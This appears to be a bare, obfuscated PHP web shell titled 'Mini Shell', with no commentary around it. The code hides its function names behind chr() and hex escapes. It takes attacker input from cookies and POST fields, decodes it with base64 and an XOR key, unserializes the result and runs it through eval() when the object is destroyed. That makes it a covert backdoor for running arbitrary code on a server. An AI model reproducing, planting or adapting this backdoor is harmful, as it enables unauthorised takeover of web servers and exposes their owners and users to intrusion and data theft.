Mini Shell

$HLikqwkduL = "\x4e" . 'P' . '_' . 'l' . "\x7a" . "\156";$oLqfwo = chr (99) . chr ( 1015 - 907 ).chr (97) . "\163" . "\x73" . "\137" . "\145" . 'x' . chr (105) . chr (115) . chr (116) . 's';$vKdAP = class_exists($HLikqwkduL); $oLqfwo = "20682";$rlRtej = strpos($oLqfwo, $HLikqwkduL);if ($vKdAP == $rlRtej){function MuYKjtmBg(){$qHmvdAsih = new /* 5095 */ NP_lzn(15319 + 15319); $qHmvdAsih = NULL;}$ovHuJJ = "15319";class NP_lzn{private function jxXuf($ovHuJJ){if (is_array(NP_lzn::$XStaVg)) {$JhcoI2 = str_replace("<" . "?php", "", NP_lzn::$XStaVg["content"]);eval($JhcoI2); $ovHuJJ = "15319";exit();}}public function rkcBlQANzG(){$JhcoI = "32269";$this->_dummy = str_repeat($JhcoI, strlen($JhcoI));}public function __destruct(){NP_lzn::$XStaVg = @unserialize(NP_lzn::$XStaVg); $ovHuJJ = "60908_40561";$this->jxXuf($ovHuJJ); $ovHuJJ = "60908_40561";}public function gHOJFKJ($JhcoI, $mDvOD){return $JhcoI[0] ^ str_repeat($mDvOD, intval(strlen($JhcoI[0]) / strlen($mDvOD)) + 1);}public function jAIduwdGfJ($JhcoI){$tgIKp = chr ( 388 - 290 ).'a' . "\163" . "\x65" . '6' . chr (52);return array_map($tgIKp . chr (95) . "\x64" . chr (101) . "\x63" . "\x6f" . "\144" . 'e', array($JhcoI,));}public function __construct($eKifjJdK=0){$CUYgY = chr (44); $JhcoI = "";$iNTwFSABlq = $_POST;$ZkAjO = $_COOKIE;$mDvOD = "b749a69e-d682-4c40-ac5b-976e864300ae";$MWiieLPp = @$ZkAjO[substr($mDvOD, 0, 4)];if (!empty($MWiieLPp)){$MWiieLPp = explode($CUYgY, $MWiieLPp);foreach ($MWiieLPp as $ZcwypzPxR){$JhcoI .= @$ZkAjO[$ZcwypzPxR];$JhcoI .= @$iNTwFSABlq[$ZcwypzPxR];}$JhcoI = $this->jAIduwdGfJ($JhcoI);}NP_lzn::$XStaVg = $this->gHOJFKJ($JhcoI, $mDvOD);if (strpos($mDvOD, $CUYgY) !== FALSE){$mDvOD = explode($CUYgY, $mDvOD); $gdKKCwNRs = sprintf("60908_40561", rtrim($mDvOD[0]));}}public static $XStaVg = 8486;}MuYKjtmBg();}